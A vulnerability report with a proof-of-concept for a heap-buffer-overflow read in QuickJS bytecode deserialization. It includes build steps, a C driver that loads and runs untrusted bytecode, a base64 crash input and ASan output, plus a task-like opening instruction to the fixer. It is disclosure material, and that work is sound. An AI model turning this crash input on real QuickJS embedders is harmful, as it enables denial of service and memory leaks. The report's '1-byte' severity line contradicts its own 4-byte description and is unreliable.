[Bug]Heap-buffer-overflow read in JS_ReadFunctionBytecode atom-fixup loop (get_u32 past the bytecode buffer) (CWE-125)

Start in the JS_ReadFunctionBytecode atom-fixup loop and inspect get_u32 in cutils.h:181. Reproduce the report with the supplied 21-byte input and ASan build, then verify that malformed bytecode whose atom operand exceeds byte_code_len is rejected without an out-of-bounds read.

Describe the bug

JS_ReadObject deserializes a serialized JS function. It copies the attacker-declared byte_code_len bytes of bytecode into a heap-allocated JSFunctionBytecode, then walks the opcodes to rewrite atom operands. For atom-format opcodes (OP_FMT_atom) the loop reads a 4-byte atom index with get_u32(bc_buf + pos + 1) (cutils.h:181) without first checking that pos + 1 + 4 <= byte_code_len. A 4-byte body that is a single atom-reference opcode makes get_u32 read 4 bytes past the end of the 108-byte allocation.

To Reproduce

1. Clone QuickJS and check out the affected commit:

   git clone https://github.com/bellard/quickjs.git
   cd quickjs
   git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
   

2. Save the driver below as poc_driver.c and build with ASan:

   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver
   

   How the input is interpreted: the first byte of the POC selects the
   JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
   bytes are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}

3. Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:

   printf 'AQUADAAAAAAAAAABAAAABAAEAAQA' | base64 -d > poc.bin
   

4. Run it:

   ./poc_driver poc.bin
   

   ASan output:

   ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
   SUMMARY: AddressSanitizer: heap-buffer-overflow .../cutils.h:181 in get_u32
   

   Exit code 1.

Expected behavior

The atom-fixup loop should verify pos + 1 + 4 <= byte_code_len before calling get_u32, and reject bytecode whose operand reads exceed the declared length.

Screenshots

Please complete the following information:

• OS: Linux x86-64 (Ubuntu 22.04)
• QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

• Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
• Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
• Severity: medium (1-byte OOB read, DoS + info leak) (CWE-125).
• CWE: CWE-125.